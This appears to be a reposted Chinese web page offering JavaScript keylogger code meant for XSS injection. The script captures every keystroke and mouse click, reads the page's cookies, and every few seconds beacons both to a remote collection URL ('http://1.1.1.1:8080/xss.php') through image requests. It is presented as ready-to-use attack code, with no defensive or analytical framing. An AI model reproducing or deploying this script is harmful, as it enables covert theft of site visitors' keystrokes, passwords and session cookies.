js 键盘记录代码

来源:互联网 发布:软件著作权登记机构 编辑:程序博客网 时间:2024/05/18 09:12

var keys=''; //储存键盘鼠标记录var hacker = 'http://1.1.1.1:8080/xss.php';var Url = window.location;var Domain = document.domain;var Cookie = document.cookie; document.onkeypress = function(e) { //劫持键盘消息get = window.event ? event:e;key = get.keyCode ? get.keyCode : get.charCode;switch(key){case 32 : key = '[Space]';break;case 13 : key = '[Enter]';break;case 8 : key = '[BackSpace]';break;default :key = String.fromCharCode(key);keys += key;}} window.onload = function(){ //窗口加载后发送cookiesetInterval(function(){var Cookie_t = document.cookie;if(Cookie_t != Cookie){Cookie = Cookie_t;}SendData(hacker + '?m=c&c=' + Cookie);},2000); //每2秒检测一次cookie,如果变化,就重新发送}document.onmousedown = function(e) {get = window.event ? event : e; //创建事件对象var mousekey = get.button; //获取鼠标键代码switch(mousekey) {//1 鼠标左键 2 鼠标右键 4 滚动键case 1 :mousekey = '[Left Mouse Clik]';break;case 2 :mousekey = '[Right Mouse Clik]';break;case 4 :mousekey = '[Roll Mouse Clik]';break;default :mousekey = '[Unknown Mouse Key]';}keys += mousekey;}function SendData(src){new Image().src = src; //建立图片对象用于发射数据} setInterval(function(){ SendData(hacker + '?m=k&c=' + keys);keys = ''; },5000); //每五秒发送一次键盘记录,初始化变量


原创粉丝点击